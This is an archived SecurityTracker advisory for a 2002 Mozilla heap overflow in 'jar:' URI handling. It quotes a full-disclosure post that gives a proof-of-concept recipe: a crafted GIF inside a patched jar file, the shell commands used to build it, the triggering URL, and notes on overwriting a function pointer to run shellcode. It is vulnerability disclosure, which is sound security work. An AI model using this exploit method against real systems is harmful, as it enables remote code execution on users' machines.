SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |    Help    |   

SecurityTracker
Archives


Welcome to SecurityTracker!
 
Click to Sign Up
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com

Sign Up!





Category:  Application (Web Browser)  >  Mozilla Browser Vendors:  Mozilla.org
Mozilla Browser Heap Overflow in Processing 'jar:' URIs Allows Remote Users to Execute Arbitrary Code on the Browser
SecurityTracker Alert ID:  1005633
CVE Reference:  CAN-2002-1308   (Links to External Site)
Date:  Nov 14 2002
Impact:  Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Description:  A heap overflow vulnerability involving the processing of 'jar:' URIs was reported in the Mozilla browser. A remote user can cause arbitrary code to be executed on a target user's browser when the target user views a malicious GIF file.

It is reported that Mozilla contains a heap corruption flaw that can be triggered by a remote user via the 'jar:' URI handler.

A remote user can create a specially crafted jar file that contains a GIF image file and malicious code. Then, the remote user can create HTML that calls the file via a 'jar:' URL. An example URL is shown below:

jar:http://host/~username/new.jar!/test.gif

When the file is expanded, a heap-based overflow can be triggered. The user-supplied malicious code can overwrite an address pointer so that when memory is freed, the function pointer is called and user-supplied code is executed. The code will run with the privileges of the target user.

A demonstration exploit method related to the above listed example URL is described in the Source Message.

The vendor has reportedly been notified.

Impact:  A remote user can cause arbitrary code to be executed when a specially crafted URL is loaded.
Solution:  No solution was available at the time of this entry.
Vendor URL:  www.mozilla.org/ (Links to External Site)
Cause:  Boundary error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)
Reported By:  zen-parse <zen-parse@gmx.net>
Message History:   This archive entry has one or more follow-up message(s) listed below.
Jul 15 2003 (Red Hat Issues Fix) Mozilla Browser Heap Overflow in Processing 'jar:' URIs Allows Remote Users to Execute Arbitrary Code on the Browser   (bugzilla@redhat.com)
Red Hat has released a fix.
Jul 22 2003 (Red Hat Issues Revised Fix) Mozilla Browser Heap Overflow in Processing 'jar:' URIs Allows Remote Users to Execute Arbitrary Code on the Browser   (bugzilla@redhat.com)
Red Hat has released a revised fix.
Oct 16 2003 (Red Hat Issues Fix for RH Enterprise Linux) Mozilla Browser Heap Overflow in Processing 'jar:' URIs Allows Remote Users to Execute Arbitrary Code on the Browser   (bugzilla@redhat.com)
Red Hat has released a fix for Red Hat Enterprise Linux.



 Source Message Contents

Date:  Fri, 15 Nov 2002 04:56:13 +1300 (NZDT)
From:  zen-parse <zen-parse@gmx.net>
Subject:  [Full-Disclosure] Netscape/Mozilla: Exploitable heap corruption via jar: URI handler.

 

The following is the text of an advisory (with a couple of typos fixed) 
that was sent to Netscape in early July.
(-rw-r--r--    1 root     root         3210 Jul  8 17:07 jar-writeup)

This was one a several vulnerabilities reported in Netscape/Mozilla over 
that period. (Others included the previously posted zero-width gif 
problem, and PNG vulnerabilities.)

http://bugzilla.mozilla.org/show_bug.cgi?id=157646
This page shows that the bug was opened on 2002-07-15 18:54

(May not be accessible.)

I think 4 months is definately long enough to wait before disclosure.

=====

Exploitable heap corruption via jar: URI handler.

Create a file, called test.gif with the following 6 'int's in it.

0x2d6e657a,0x65726568,
0x00000000,0x00000000,
0xdeadbeef,0xfee1600d

$ zip orig.jar test.gif
  adding: test.gif (deflated 17%)
$ unzip -v orig.jar
Archive:  orig.jar
 Length   Method    Size  Ratio   Date   Time   CRC-32    Name
--------  ------  ------- -----   ----   ----   ------    ----
      24  Defl:N       20  17%  07-08-02 16:11  b74deafe  test.gif
--------          -------  ---                            -------
      24               20  17%                            1 file
$ sed s/`printf '\x18'`/`printf '\x01'`/g orig.jar >new.jar
$ unzip -v new.jar 
Archive:  new.jar
 Length   Method    Size  Ratio   Date   Time   CRC-32    Name
--------  ------  ------- -----   ----   ----   ------    ----
       1  Defl:N       20 -1900%  07-08-02 16:11  b74deafe  test.gif
--------          -------  ---                            -------
       1               20 -1900%                            1 file
$ cp new.jar ~/public_html

(This file only contains the 2 0x18s (24s) representing the realsize, so
it works ok on this file. Actual exploit file was created with a hex 
editor.)


In Netscape open:

   jar:http://host/~username/new.jar!/test.gif


The jar file is retrieved, the requested file is found...
...
584   //-- Read the item into memory
585   //   Inflate if necessary and save in mInflatedFileBuffer
586   //   for sequential reading.
587   //   (nsJAR needs the whole file in memory before passing it on)
588   char* buf = (char*)PR_Malloc(item->realsize);
589   if (!buf) return ZIP_ERR_MEMORY;
590   switch(item->compression)
591   {
592     case DEFLATED:
593       result = InflateItem(item, 0, buf);
594       break;
...
A buffer is allocated for storing the data. The realsize value is used for
the length. (Size 1 actually allocates 8 bytes, hence the padding.)
The buf is the passed to the inflater.
...
1268 PRInt32 nsZipArchive::InflateItem( const nsZipItem* aItem, PRFileDesc* fOut,
1269                                    char* bigBuf )
...
as bigBuf. Some temporary storage is made, and a chunk of decompression done.
...
1382       {
1383         //-- copy inflated buffer to our big buffer
1384         // Assertion makes sure we don't overflow bigBuf
1385         PR_ASSERT( outpos + ZIP_BUFLEN <= bigBufSize);
1386         char* copyStart = bigBuf + outpos;
1387         memcpy(copyStart, outbuf, ZIP_BUFLEN);
1388       } 
...
The assertion doesn't fire. It should probably be made into a normal 
check as
well.

We now have a heap based buffer overflow.

At some point in the future, chunk_free() is called, and a SEGV will occur
with while referencing the values 0xdeadbeef and 0xfee1600d.

If these are replaced with (address of a function pointer)-12 and (address
of user supplied code), when the function pointer is called, the user
supplied code will execute.

I have successfully changed the flow of control in tests, by overwriting
the function pointer for PR_Free in the global offset table of libsnpr4.so.

"Shellcode" can be supplied in a previously loaded image. (A large area
can be filled using compressed image files stored in a .jar as the source.)

======


-- zen-parse

-- 
-------------------------------------------------------------------------
1) If this message was posted to a public forum by zen-parse@gmx.net, it 
may be redistributed without modification. 
2) In any other case the contents of this message is confidential and not 
to be distributed in any form without express permission from the author.



_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us   |    Help

Copyright 2002, SecurityGlobal.net LLC